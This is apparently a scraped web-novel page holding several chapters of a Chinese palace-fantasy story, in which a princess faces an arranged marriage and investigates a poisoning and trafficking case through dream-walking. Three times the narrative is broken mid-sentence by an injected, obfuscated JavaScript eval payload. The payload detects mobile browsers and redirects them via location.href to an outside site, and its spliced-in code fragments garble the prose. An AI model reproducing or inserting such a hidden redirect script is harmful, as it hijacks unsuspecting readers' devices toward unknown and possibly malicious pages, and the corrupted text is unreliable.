还有,为什么燕怀珏总要和“花”这个意象出现在一起?知道你身比花娇、人比花美了好不好!不要和花进行无意义攀比! 像是注意到了来人,燕怀珏抬头,看向赵昭。 “六殿下,你找来啦?” 他难掩笑意,向旁边挪挪位置,轻拍两下石椅:“请坐在这里,好不好?” 赵昭脑子里还在翻来覆去地想杏花山初遇。怪不得燕怀珏知道她是六公主,只怕早就知道自己要被指婚给她了。 可能看赵昭的母族是政敌独孤氏,又看她势大,担心婚后生活举步维艰,故而小心翼翼做出这种姿态。 至于猜中她的心思……燕怀珏这样心思细腻的人,想来很会察言观色。或是得到过什么“六公主的兴趣”一类的小道消息,或是景乾帝早已说过,信息一合,自然就猜中了。 赵昭在内心摇摇头,哀声叹道“可怜的失足少年”,并没有过去坐在他身边。 燕怀珏不解。但他并没有说什么,只是起身往赵昭的方向走了走,坐在离她更近的石椅上,问:“六殿下今天心绪不佳?” 赵昭见他一双眼睛就这样看着自己,终究良心不安,道:“……燕公子,我知道指婚的事了。” 这本是喜事。可是看到她犹豫的表现,燕怀珏不禁问:“你不满意?” 赵昭心里两个小人互殴起来。白色小人道:“你不能直接回答,这也太坏!这让燕公子以后怎么做人?” 黑色小人道:“可是这桩婚事真的是你的本心?是燕公子的本心?不妨直说,给两边一个痛快!” 一直沉默不回答,燕怀珏似乎便懂了她的意思。他忧郁道:“我明白了。” 赵昭还没有纠结完,听燕怀珏突然自说自话的懂了,赶紧开口:“不是不是……你明白了什么?” “你这里还并不明白,很多事都没有想清楚。”燕怀珏点点自己的太阳穴。 他不再停留,起身要离开。临了,像是想起了什么,退回来和她说:“多谢六殿下在陛下面前美言。赏赐那些,我家里收到啦。” 赵昭恍惚。听他这么说,才回过神问:“那你有没有收到一副新弓?喜不喜欢,用起来顺不顺手?” 燕怀珏把书卷起来,点在自己嘴边,长长“嗯——”了一声。 “御赐之物,怎会不喜欢?可是六殿下,你还记得我们的约定吗?” 赵昭道:“你……还要那副槐木弓?你确定?上次地震后,它多了很多伤痕……” 燕怀珏点点头。“想要。不管怎样,我不想就这样丢掉,毕竟有十几年的情谊。而且,我也想要再见到你。好吗?” 不等赵昭的回应,他逃也似的离开了长廊。 赵昭的脑子里又在风起云涌,仔细思考他说的话。 如果说之前燕怀珏的话是试探的、神秘的,那这次就是意外的坦诚。 难道是她想错了?或许他也并不是因为指婚,才会这样做的? 赵昭突然觉得自己真是傻,傻得没边了。是不是她和他的本心重要吗?如果拒婚,会被非议的只会是燕怀珏。这样自己也太不负责了! 况且,扪心自问,她也并不讨厌燕怀珏。如果驸马是他的话,她似乎应该庆幸才对。 赵昭拍拍脸颊,让自己清醒一点。怎么不管燕怀珏说什么做什么,她都会想这么多!明明对别人都不会这样的,果然是个奇怪的男子! 下定决心不再纠结过后,赵昭转头就向堂里走。 想见?那就见!见见面怎么了,反正以后天天都要见! 心里有心事,赵昭依旧无视身边头上一片电闪雷鸣的赵陌,在他旁边坐了下来。 其实坐在赵陌旁边,就是因为他总是占着风水宝地。既然如此,一人得道鸡犬升天,赵昭不介意做那个鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522310|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犬。 可是,这氛围也的确忒恐怖。一上午下来,赵陌都一言不发。 以往给他递小纸条,赵陌总会剜一眼赵昭,最后乖乖简单写上两句回答;如今,则是连小纸条都拒收了,直接抬手挡住。 原本小纸条上写的都是些对先生讲课的见解,偶尔加两句调侃逗逗太子小弟弟,这样能让她更加专注听课。 这几天下来,当真闷死赵昭。伴读又久病未愈不在,她只得闷闷听讲。 文课结束了。赵昭和赵陌屁股刚离开座位,门口突然浩浩荡荡进来一大群人。 还没等两人看清什么情况,头上皆是挨了一顿乱揉。“昭儿!陌儿!想不想三哥?” 听到这熟悉的洪亮声音,看到这英俊得惨无人道的一张脸,赵昭的眼睛终于又重新亮起。她跟着叫了一声“三哥!”后,抱住了他。 如果说赵昭是闲散公主,那三皇子赵煊就是纨绔王爷。他已经出宫开府,因为景乾帝实在宠爱这个儿子,于是得了一份留在京中的殊荣。然而,至今未娶。 并非是流连于秦楼楚馆这样的原因。论起来,还是三哥太喜欢满世界乱跑,魅力又太大,不知为何男女好像都容易对他有意思。 秉承着对人负责的原则,每当景乾帝要指婚时,他要么撒泼撒痴,要么装作不会说话,请走一批又一批人。 赵煊和赵昭是低山臭水遇知音。每次见到他,赵昭必然会收获到一堆新鲜玩意。因此,她很喜欢和三哥玩在一起。 赵陌头顶的乌云也好像被他三哥揉散了,难得大喊一声“放开,放开!”,满脸通红地拿开他的手。 “想死你们了,给你们带了礼物,和我一起回宫吧?” 赵煊身形高挑挺拔,二话不说地一胳膊夹一个,通通带出讲堂,扔上他那镶满宝石五光十色的马车。 “来,昭儿,你的《银鸢泪》又更新了,拿去看。陌儿,给你带了个帽子。蛮疆货,稀罕得很啊!” 赵昭赵陌刚坐定,一个手上多了厚厚一沓书,一个头上被扣上个兔耳毛绒帽子。 这下两人都真的高兴了。赵昭几乎喜极而泣,不停说着“多谢三哥,来世我们还做兄妹”;赵陌小声嫌到“应该冬季买的”,手上却对头上的兔耳摸了又摸。 赵煊身子往后一靠,笑道:“喜欢就好!这阵子忙死你们三哥了,不想看到你们这两个小崽子哭丧个脸!” 赵昭思索道:“的确,除了南芜春蒐以外,总觉得好久没见到你了。你干什么去了?” 他总说自己忙。除了忙着和一群狐朋狗友一块开宴会吃山珍海味外,其实无非就是忙着参加各地的选美大赛、举办相亲大讲堂(他自己没有相过亲)一类。 偶尔兴致盎然,还会跑到村口听别人吵架,他再降临调解,最后以吵架的大爷大妈全都看上他而告终。 赵煊“呵呵”地干笑了几声,似乎是意识到自己不慎说漏嘴了。少顷,才模糊道:“忙着凑热闹。你们还没出宫,不知道外面的事,最好也不要知道。” “近来,京中附近出了一桩大案子。” 11. 闲判官2 “什么大案子?” 赵煊那样说,赵昭也直觉并不是什么好事。然而,她还是想要听听。 赵陌没有说话,但是沉默也代表了他的立场。 看到两个小家伙渴求自己多说些的眼神,赵煊最终还是摇摇头败下阵来。 “是桩失踪案,失踪的全都是要被卖去做家奴的人。原本人牙子是要被判重罪的,少一两个人肯定是不敢去找的,就放任他们去。” 他接着道:“可是,这次几个人牙子加起来,少说失踪了将近百个拐来的人。之所以能发现,还是因为有一个不见的找回来了。” 这可不得了,原本就是捂在暗中的事,一经披露只怕要牵扯出很多别的事来。 赵昭问:“找回来的那人怎么说?” 赵煊摊摊手:“没法说。已经哑了,而且并不是像寻常人牙子手段那样弄哑的,像是被下了毒。” “我的天,什么毒?!为什么要下毒,谁下的毒?”赵昭觉得可怕,手不自觉抓紧裙子。 “还在查,失踪的那些人都还没找到呢。这个人怎么找回来的,都还没法解释。”赵煊说着,抖开手上一卷卷轴,递给两人。 “看看,这个就是失踪人口的名单。当真是骇人,可怜呐。” “是这个‘阿甲’找回来了?”赵昭指着问道。卷轴上密密麻麻写了许多人的名字,其中只有一位“阿甲”的名字被圈了起来。 “不错。” 赵陌皱眉:“该死的人牙子呢?抓到了吗?” 闻言,赵煊笑了出来,拍拍他的肩:“当然了。就是因为抓到了,才能审出这些线索来的嘛。他们手头上还有的那些人全都被放走了。” “应当施以鞭刑,把七十二道刑罚全部施展,折磨致死。”赵陌恨恨道。 赵昭大汗。这小子说这话的时候绝对有泄愤的成分在!就算是泄愤,以后做了皇帝只怕会是个暴君! 可怕! “妈呀,小祖宗,你消消气。人牙子确实千刀万剐都不为过,但你也别气坏了自己。”赵煊依旧被赵陌逗得哈哈大笑,安抚起他的情绪来。 本来说了不告诉他们的,结果还是没忍住,基本把案情全部交代了。赵煊于是转移话题,和两人聊了一路别的事。 他广交好友,不论是朝中大臣,还是纨绔子弟;不论是皇亲贵胄,还是平民百姓,只要是能聊得来的,他都会与之交好。 若要说和官员的交情,其中走得最近的就是刑部。 因此,皇嗣们总能从他这个三皇子嘴里听到各种各样的奇闻异事。 回到宫里,赵煊又去找景乾帝聊闲天了。 照常去东苑习过武课后,晚上赵陌被押着继续练习。赵昭看他越发刻苦,再怎么心大心中也隐隐不安。放下《银鸢泪》,打开史书就仔细攻读了起来。 自从她说要当皇帝之后,其实每晚都会看一会诸如帝王术、史书一类的书。今天思绪却是格外烦乱,看不进去。 可恶的三哥,好端端说什么案子!还说什么“最好不要知道”,越这么说越想知道到底怎么回事! 赵昭知道她这个三哥看起来不靠谱,其实讲起八卦来,细节用词相当之精准。他如果说是用毒,就一定是用毒。 可是自从八年前一场大型瘟疫过后,景乾帝下诏,明令禁止民间私造毒药,所有毒必须向当地官员报告过才能用。 胆子如此大,敢在天子脚下用能致哑的毒,还是因为有阿甲找回来了才被发现,只怕背后势力不容小觑。 犯人会是什么人呢?应该是团伙作案吧。既然是团伙,他们又是怎么做到的? 赵昭越想越努力看史书,越努力看史书越困,越困头就越沉,最后趴在桌上沉沉睡了过去。 睁眼后,她发现自己的视野变得极低。天空是灰色的,没有云,也没有光,只是光秃秃的一片天;身边深红色的宫墙缓慢往后退去,面前的路没有尽头。 一路上,许多看不清的面孔全部略过。 即便没有脸,赵昭却能感受到,他们聚集在自己身上的目光,令她十分无所适从的、尴尬的目光。 赵昭本能地想要挣扎,躲开这些目光。 但是,手好像在被什么人固执拉着。赵昭没法转动自己的头,只能从余光里,看到那人高高的,穿了长裙。是浅蓝色的,上面有一些乳白色小花。 她的手捏起来软软的,留了一些指甲。甲面却又滑又润,一点都不扎手。 身旁的女子没有说话。只是,在她牵着赵昭,路过了那些模糊的人后,不自在的感觉就会减少许多。 前方的目光还在源源不断增加,可是后方的目光会全部消失不见。 ——大约是仙子吧。 得知这一点后,赵昭越发平静下来,不再感到不适。 不知走了多久,宫墙渐渐消失。她们好像正从宫中的石砖走出来,走到了一座石桥上。 石桥上大雾茫茫,而且越来越窄。赵昭心下隐隐慌乱,想到身边还有一个人,于是也安心了下来。 不过,她发现身边的蓝衣女子,好像越走越慢了。 没有关系,既然她能带赵昭走出宫墙,赵昭觉得自己也能带她走出大雾。 身后女子的步伐最开始被赵昭牵动,能勉强加速。可是到后来,她的步履越来越沉重,直到完全停下,任赵昭怎么使劲都不再动。 赵昭终于回头看去。 雾实在太大太浓,那女子的一切,她都看不清。她只能看到,女子原本应该白皙而细腻的皮肤,此时爬满了密密麻麻的血疮。 赵昭身体猛地一震,想要拨开迷雾,看清女子到底怎么了。 手之所及,只能摸到满手的血泥烂肉,还有一截裙角。蓝色长裙上的乳白小花,此刻已经变成了红色的,还在不断不断生长,不断不断开出一朵又一朵花。 是毒吧。 雾里有毒吧。 赵昭连忙腾出一只手,掀开自己的袖子。好在,看到的还是一条完好的手臂,并没有变得面目全非。 正当她重新放下自己的衣袖时,身后突然响起了“啊啊呀呀”的一阵声音。 听起来应该是从人的口中出来的声音。可是也太过嘶哑,太过用力,绝不是正常人在正常状况下能发出来的。 赵昭把身后女子拉过,背在身上。即便她似乎已经不能再被称作“人”,已经浑身是血,脏污了赵昭的衣服,她也毫不在意,一同往声音的源头寻去。 在石桥断裂处,终于找到了一个人。 他的眼睛布满血丝,大大睁着,但是好像什么都看不见,在地上翻滚、蠕动。嘴中“啊啊呀呀”胡乱叫着,似乎想要找到什么,最终只是徒劳的四处乱抓。 这是阿甲。 赵昭从未见过他,脑中却浮现了这个名字。 她费力蹲了下去,想要把他扶起来,起码让他不要这样毫无尊严的在地上挣扎。 然而在她伸出手的一瞬间,阿甲的眼睛骤然锁定了她。浑身青筋暴起,紫黑色的气体从他的七窍中喷发而出,整个人以一种扭曲的姿势别了起来,晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522311|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠站起。 阿甲的骨头捏得咔咔作响,看见赵昭像是看到了猎物,怪叫着扑了过去。 赵昭半蹲着,身上还背着一个人,根本难以行动! 她向后退去,想要跑起来,躲开阿甲的攻击。一路上还在不停捡起石桥掉落的石砖碎块,想要打退,谁知他如同丧失了理智,视新伤若无睹,疯了似的扑咬。 节节败退下,阿甲越战越勇,她越来越虚弱。 终于,脚下踩到了一块凸起的石砖。赵昭的脚踝向旁扭去,踉跄摔向地面。阿甲看准她慢了半拍的一个时机,朝她的脖颈咬去。 千钧一发之际,赵昭本想抬臂格挡,突然眼前寒光闪过,黑烟袭面。 她下意识闭起了眼。 再一睁眼,阿甲的身体生生被拦腰斩断,躺倒在地。 “六殿下,您做的梦好生吓人啊!我在一边看着,都要被吓死啦!” 滚滚黑烟随风散去,其中一位身着红袍官帽的熟悉女子现身在赵昭面前。 “荆大人……你怎么在这?” ……荆文曲到底什么来头,怎么到处都有她,当真应了一句“阴魂不散”吧!难道厉鬼就可以随便侵入他人的梦境吗?太嚣张了吧! “这不是看到您遇难了,就帮帮忙嘛。您帮我平了地劫,我也该多帮帮您呀?礼尚往来嘛。”荆文曲负手而立,做出乖巧的一副模样。 赵昭哭笑不得,只得一回礼:“那便多谢。上次在父皇那里也是,多谢荆大人相助。” 随后,她发现自己偏了题。直到这时,她才发现,背上背着的女子不见了。 “这里什么情况,我背的那个女子你看到了吗?”赵昭环视四周一圈,问道。 荆文曲茫然:“没有看到您背着什么人啊,至少我来的时候没有看到。倒是您,身上弄得许多鲜血。” 真是奇怪。人呢? 不过既然是梦,也没什么好纠结的了。 赵昭又问道:“那,荆大人这次来,真的就只是为了帮我,没有别的事了?你怎么知道我会遇难?” 荆文曲神秘兮兮地自己笑了几声,这才道:“我是看您似乎对京中失踪之事很感兴趣啊?日有所思,夜有所梦。而且,您梦到的内容似乎并非仅仅是现实中事。” “……是。”赵昭点头。 荆文曲道:“那不若这样,我助您调查一把,如何?您大概也知道,此事非比寻常。” 赵昭知道她只是看起来不靠谱,其实做什么心里都有数。于是认真问:“怎么助我?” “您是公主,并不方便查案。”荆文曲悠悠道,“所以我们要用到一些非常手段。譬如,侵入进他人的梦境当中。” “……这是托梦?” “可以这样理解。其实每次大帝托梦于某人,都是进入那人的梦境里,化身于梦中的某一个人,从而改动梦境内容。我和另外几位大能也常常过去帮忙,自然有了进出梦境的能力。” 抛却此话中疑似自夸的歧义,赵昭只觉十分有趣。 苍灵大帝果然是个身体力行的亲民神仙,本以为托梦都是说着玩的,或是用什么法术,结果竟然是这样办到的。 ……果然就是很累!赵昭在想,如果自己是苍灵大帝的话,就完全能理解她为什么那么爱发脾气了。换作是她,应当早就撂挑子不干,遁入虚空轮回里重开下辈子了。 “既然您同意了,不如就在明天子时,我们一同入梦。如何?届时您只用往床上一躺便可。” “当然可以,一言为定。” 12.闲判官3 第二天晚上,赵昭钻入被窝里,翻来覆去。 早上她醒来后,发现自己躺在床上。许是宫人们看她看书看睡着了,又死猪一样怎么叫都叫不醒,就帮她收拾收拾抬上了床。 至于昨晚到底梦到了什么……赵昭当然不会和别人说。 一大早就又是照常往国子监赶。 景乾帝早已下诏,通告六公主赵昭和燕氏公子燕怀珏即将成亲的消息。为此,就有不下十个好心的监生跑来,告诉赵昭,燕怀珏又不见了。 还真是如同仙人一样神出鬼没。不过她并不赞同以花来代指他,应当用狐狸才对。 且不说杏花山的小巧思了。昨天燕怀珏特意在她面前亮了个相,看看她的态度如何,就又走了。 她的反应确实太摇摆不定,可不知为什么,总觉得自己在被这个狡猾的小狐狸精戏耍。 当然,这是没有证据的猜想。 难得睡了一大觉,神清气爽,于是赵昭早早就来了国子监。这次,在先生眼前正中间的贵座上,并没有看到赵陌的身影。 想到比赵陌来的还要早,赵昭觉得自己刻苦程度真是更上一层楼,现在去考科举只怕能拿下状元了。可喜可贺,回去之后要奖励自己一盆红烧排骨,外加彻夜通读《银鸢泪》。 然而,坐在位置上等了半天,都没有等来赵陌。直到先生进来了,太子伴读们全部就座了,都没有看到他。 “先生,陌儿去哪了?”赵昭没忍住发问道。 皇嗣有事告假,都会提前派人告知先生。 果然先生笑道:“陛下有旨,太子殿下即日起,要旁听协助查京郊的一桩失踪大案。今日是第一天,怕是要多耽误些时候,明日应该就会回来了。” 原来如此。说来,一方面这事的确有伤风化,对京中朝廷影响太不好;另一方面,赵陌在南芜春蒐上表现平平,景乾帝派他去别处历练也是情理之中。 赵昭心里其实一直在和赵陌较劲。毕竟他是太子,按理说是夺嫡路上最大的敌人,所以她想要变得比他更强。 这次查案也是不例外。荆文曲说了会帮忙,她自然会抓住机会。 红烧排骨也不吃了,《银鸢泪》也不读了,看过一个时辰史书后就熄了灯。 赵昭强迫自己闭上双眼,放慢呼吸,进入了睡眠。 一片昏黑之中,不知过了多久,赵昭突觉意识来到了一片莲花台上。 之所以称作“莲花台”,是因为其位于云层之上,云层中有许多冰玉莲蓬荷叶,这座最大的露台状似盛开的莲花。 云阶从高山延伸,突破云霄,连接了凡间与仙境。露台路边站着两排士兵,手握银枪竖在身侧,一动不动地目视前方。 再往上看去,云阶的顶端,是一座大殿。大殿前有一张琉璃帝王椅,两侧,分别有个玉质花盆,和桃木架子。不必上前,就能远远看到其上五光十色的光彩,绚丽夺目。 ——纵使器物华丽,却了无生气。不知为何,本应待在上面的神仙,或是神兽,都不见身影。 终于在迷茫当中,身后传来“嗒嗒”的脚步声。 “六殿下,久等久等。” 荆文曲此时竟也换了身衣服。头戴九旒冕,身披毛领披风,一手提着剑、一手系着扣子匆匆赶来。银光灿灿,此时看来,当真像个正儿八经的公主。 “荆大人,你怎么换了打扮了?我是不是也该叫你一声‘殿下’?”赵昭眼里冒着星星,上下打量她这身飒爽装扮。 “鬼王老爹呀,不要不要,愧不敢当!我没受公主的俸禄,也没尽公主之责,担不起此名啊。还是把我当大启臣子吧!” 荆文曲说着,抬起手凝神聚气,最终召出一面照不出人影的琉璃镜来。 “这不是在大帝的地界上吗,我可不敢怠慢了,每次都会穿这么一身来,也对得起世人流传下来的传说。您请,快请进!我们托梦!” 虽然昨天听了她简单说的“托梦”,赵昭还是半懂不懂。但想必凡事做了就能明白,于是她直直走进了琉璃镜。 果然就像话本中那样,一人一鬼穿过镜子,来到了另外一个世界当中。 “这里是阿甲的梦境。哎哟,殿下,怕了?那您便拉着我吧。” 赵昭从一进来就拉着荆文曲的手。这里不像琉璃镜外,附近满是一股浓烈的潮臭味,四周的灯火也在不停摇曳,看不清、闻不明是哪里。 “若说托梦和寻常窥梦最大的区别,在于托梦时我们有意识,可以改变自身行动,从而改变梦的方向。您便当是在另外一个世界冒险吧!” “好玩,好玩。”赵昭的确觉得好刺激,心下却还是有些害怕紧张,抓着荆文曲的手越发紧。 她们在向前走,四周也多了许多影影绰绰的人影,随着脚步向前移,变得越发明晰。 后面还有人拿着棍子,粗声喊着“去!去!走快点,是猪吗?”这样的话。 赵昭想要观察一下身边的其他人,谁知一扭头,就在身旁看到个干瘪的男子身影。他双眼空洞,此时呆呆低着头,仿若一具……行尸走肉。 “他就是阿甲,和您梦里的形象不太一样。”荆文曲在赵昭耳边低声说道。 “的确不同,比我想的还要更憔悴。”赵昭仔细端详起来。 不光是阿甲,其余人也都是这副模样。像被抽干了血肉,被吸走了魂魄,只剩一具骨架。 既然是大队伍中的一份子,想来,她和荆文曲此刻化身的,就是被抓来的被略人了。 一众人像牲畜一样,被分别赶进了几个又臭又黑的牢房里。这里满是排泄物的气味和汗味,连油灯也只放了一盏。 其中,还夹杂着浓厚的血腥气。在油灯的照射下,能隐约看到墙上斑驳的血痕。 赵昭几欲呕吐,拼命屏住呼吸。 她堂堂一介六公主殿下,别说排泄物的气味了,连汗味都很少闻过。每日泡在香膏玫瑰池中,怎会来到这种人间炼狱般的地方! 一群人,人不人鬼不鬼的被放在这暗无天日的地方圈禁起来。实在可怖,实在让人愤怒! 知道是在梦里,赵昭少了许多顾虑,当即就上去对牢房栅栏飞起一脚,骂到:“一群豺狼恶贼,狗东西,草菅人命!你们死后会下地狱的!” 荆文曲想拦已是来不及,索性也恢复平常的音量安抚道:“六殿下,六殿下,您冷静,骂得太文雅啦!不如不骂,别气坏自己!” 牢房里的众人和外面巡视的人,听到赵昭这样出头,全都向她看来。 两个狱卒走来,站在栅栏前。此地太暗,看不清长相,只能听见其中一个问:“你说我们死后下地狱?” 他声音嘶哑,而且还有些口音,似乎说大启话有些拗口。 赵昭冷笑道:“不光是死后。你们活着的时候也会变成地狱的!” 狱卒闻言大怒,扬起手中的大棒就要向她砸去,被一旁另一个狱卒拦了下来。 他转过头,指了指赵昭,又指了指荆文曲,最后又随便点了三个人,道:“你们两个过来。还有其他三个,跟她们一起来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523870|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵昭一脚踢完,脚疼得要死。此刻却是怎么说也不肯示弱,强忍着疼痛大声喊道:“我说的就是我说的,别拉上别人受罪!荆大人,你说我文雅,那我再骂!他妈的,猪狗不如的东西,折磨人算什么本事?” 荆文曲汗颜:“六殿下,不是加了脏字就算不文雅了……罢了罢了!我一向秉承不教坏纯良的理念!” 她看向狱卒,刚想要说两句。却不知为何,闭上了嘴。 赵昭急了,摇摇荆文曲:“荆大人,你也说两句呀!你不是最会说话的吗?” 荆文曲向她使了几个眼色。 赵昭基本没看懂,只看懂一个“看看旁边”的眼色。 这一看才发现,她自己单情激奋,被狱卒点兵到的三人——其中就有阿甲,却是一脸麻木,毫无反应,完全没有对狱卒的怨恨,或是对点到自己的恐慌。 这一点比起目前身处的环境,更令她胆寒。 “走吧,看看到底怎么回事。”荆文曲低声说着,掀开了自己身上破布的一角,给赵昭看。 赵昭眉头皱得更深。 借着昏暗的灯光能看到,本应是人的皮肤,现在却变成皱皱巴巴的模样。上面青一道紫一道,留下了许多烧伤刀伤的疤痕。 其中最奇怪的是,疤痕中间,还蔓延着一些细密的紫黑色纹路。 其实赵昭和荆文曲到现在为止,还并不知道为什么这些被略人会被抓到这种地方来。这些狱卒是谁?在对被略人做什么?一概不知。 于是她也深吸一口气,暂时压下心中的情绪。 身前传来狱卒把门打开的声音。他们用钩子勾着几人手上的麻绳,带着他们往走廊深处走去。 不知走了多少个楼梯,也不知穿过了多少走廊。只是每当走过一个地方,都会扑面而来一阵异香。香味过于浓厚,压过了所有臭味,同样令人反胃。 最终,几人被踹进了一个屋子里。 这里灯光倒是充足。在光亮之下,赵昭看清了狱卒的脸。 果然不是大启人。眉毛比大启人浓密,眼睛也比大启人大得多,嘴上和下巴还蓄着胡子,看起来倒像是从大启西边的蛮疆来的。 赵昭等五个人的手脚都被紧紧绑了起来,丢在地上。狱卒交代了手下的人几句,片刻,手上就多了一瓶药。 毒药。 刚才在牢房前第一个说话的大胡子狱卒拔开瓶子上的瓶塞,拿出一袋黑色的粉末倒入其中。粉末中,还有没有被碾碎的蝎尾。 他盖上塞子上下摇了半天,不知道用了什么邪术,手中淡淡发着紫光又做了一阵法。 随后,来到了一名被略人面前。 “你们要记住。”他掰开那名被略人的嘴,将毒药倒了下去。“是那两个女的害你们变成这样的。不是动动嘴就能让人下地狱的,少说少错。” 赵昭从刚才被绑起来开始就一直在挣扎,试图解开束缚。 她踹翻一旁的一个坛子,里面风干的蛇干老鼠干洒了一地。趁机捡起地上一块碎片后,她开始磨起绳子来。 大胡子专心灌药,见状恶狠狠使唤另一名狱卒:“你管管她!他妈的,真是闹腾,回去抽她三十鞭子,长长记性!” 另一名小白脸狱卒显然官职不如这个大,接到指令后,走向赵昭。 赵昭在地上疯狂蛄蛹,差点要双脚齐下把他踹飞。小白脸只能左绕一下,右绕一下,万般无奈下终于找到一个赵昭踹不到的角度,蹲在了她的旁边。 他压低声音,轻声道:“别乱动,好好看。” 13.闲判官4 说完这句话后,小白脸佯装狠厉地用大棒抽了两下赵昭。然而也只是看起来使劲而已,落在身上时只是轻轻蹭了两下。 赵昭呆滞了。 明明是狱卒,却这样帮她,意欲何为? ——难不成是卧底? 想到此处,她刚要开口问,最右边在被灌药的略卖人突然剧烈挣扎起来。 他们本是活死人,对外界的一切都没了反应。此刻,那人双手即使被麻绳绑着,也控制不住地要去掐自己的喉咙。 他弓起自己的背,又挺起腰,左右滚动。嘴张得极大,却无论如何也发不出声音,最终吐出一大口黑血。 被下毒的略卖人脸上满是泪痕,祈求似的朝大胡子爬去,嘴里“啊啊呀呀”叫个不停。大胡子嫌恶至极,一边狠狠踹他脑袋,一边喊“死大启的,滚开!”。 阿甲和另一名略卖人终于知道怕了,身体不住颤栗着往赵昭和荆文曲这里躲。 他们的眼中满是惊惧,不过丝毫没有对两人怨怼的意思,只是求助般看向她们。 赵昭和荆文曲心下已经了然。 哑药。哑蛊! 阿甲是被这样毒哑的! 赵昭手上磨绳子的速度越来越快,心急如焚。如果再慢一点,只怕剩下的人也要被毒哑了。 像是明白了她的想法,小白脸竟然也偷偷拿起一块碎片,帮赵昭磨断绑在脚腕上的绳子。 大胡子没管他们的求饶,把阿甲身旁那人像小鸡似的拎了过去,灌下哑蛊。 和赵昭比起来,荆文曲化身的这具身体显然孱弱不少。她只能在一边“我的妈我的妈”的感叹,摇头外加啧啧啧,毫无还手之力! 终于在赵昭和小白脸要搓出火星子来的共同努力下,绳子彻底断了。赵昭不假思索,对大胡子的脸抡了一拳。幸好这么多天来仔细学了武课,近战技能这不就用上了吗! 大胡子显然没想到赵昭还有这一手,被打得向旁边跌撞几下。 小白脸看准时机,狠掐了一把大胡子的手。这下哑蛊瓶子也摔碎在地,溅了一圈不知名黑色液体。 “带上人,跟我来!”他连忙背起那个险些吞下所有哑蛊的人,把木门踹开,飞奔了出去。 赵昭想起荆文曲马都骑不明白的模样,一边拉起她的手,把被毒哑的人扔她背上,一边背起阿甲,跟着小白脸一起狂奔。 身后大胡子从地上爬起,大骂几句,命令闻声赶来的下属去追逃跑的几人。 赵昭心中暗暗叫苦:阿甲这是你的梦啊!把自己梦得神通广大无所不能一点不好吗,直接让他们被飞来的三刀戳死不好吗!? 背上的阿甲紧紧靠在她身上,从他颤抖的幅度来看,像是紧张极了。 赵昭又心软了,劝自己:唉,也是苦命人。又被人牙子拐,又被拿来下毒,可能还不知道该怎么“爽”吧。想罢,脚上倒腾得更快了。 他们应该是位于地下,墙上并没有窗户,地面还全都是石子泥土。小白脸带头,一行人七上八下地在每一层里跑来跑去。 大多数地方都有清晰的画面,只有极少数几处是一片漆黑。看来,在阿甲的梦境当中,是根据他的记忆来呈现整张地图的。 只是,就这样乱跑一通,赵昭也察觉到了不对劲。 她追上小白脸,问道:“你要带我们去哪?怎么绕了半天都不出去?” 他的脸上闪过一丝慌乱,随后笑道:“带你们熟悉熟悉地形嘛。不是在查案子?总要记住地方长什么样吧。” “……你在说什么?”赵昭警惕心骤起。眼看身后人追的紧,就往右边拐角处一闪。 右方有个屋子,门虚掩着。赵昭直接把小白脸往里面一撞,带着荆文曲跟了进去。 小白脸没站稳,连同背上的人一起摔在地上。赵昭上前两步,举起手上一直没扔的陶瓷碎片,抵在他的喉间,道:“你到底是什么人?” 他喉结滚动,似乎有些无措,喃喃道:“我……” “六殿下,别激动呀!这是自己人,铁打的自己人!”赵昭动作太快,荆文曲一直插不上话。眼看好不容易有个静下来的机会,这才上前把两人拉开。 赵昭疑道:“荆大人,什么意思,怎么这么说?” “哎呀……”荆文曲看看小白脸,又看看她,拍拍大腿道:“他就是我说的,会一同出入梦境的大能之一!但是他是谁……他自己不想说!” 重新看见小白脸一脸无辜温良,仿佛在说“嗯嗯是呢”的表情,加上话是从荆文曲嘴里说出来的,赵昭信了,撤下手中的利器。 还挺有个性,不想说就不说。知道是自己人了就行。 门外传来许多人杂乱跑过的脚步声,应该是以为他们往前跑走了。当下,暂时安全了。 赵昭问:“所以,这位……仁兄?也是和我们一起来查案子的?” 小白脸思索片刻,答道:“应该说是刚好碰上了。没有想到六殿下和荆大人也会来,真是太巧了。” 也就是说,他背后的这位大能,在和她们同步调查这件事。 思来想去,赵昭都想不出来谁会这样做。在她的人际网中,并没有同时满足“与京郊失踪案有关”和“知道荆文曲真身,可能不是人”这两个条件的人。 他又问:“荆大人,看了这么久地形,您认识此地吗?” 赵昭恍然大悟。 这还有个活了三朝的工部尚书呢! 荆文曲若有所思道:“眼熟是眼熟,不过一时半会儿也想不起来在哪。而且这个构造……说实话,不像官方督造的。应当是有人改过。” 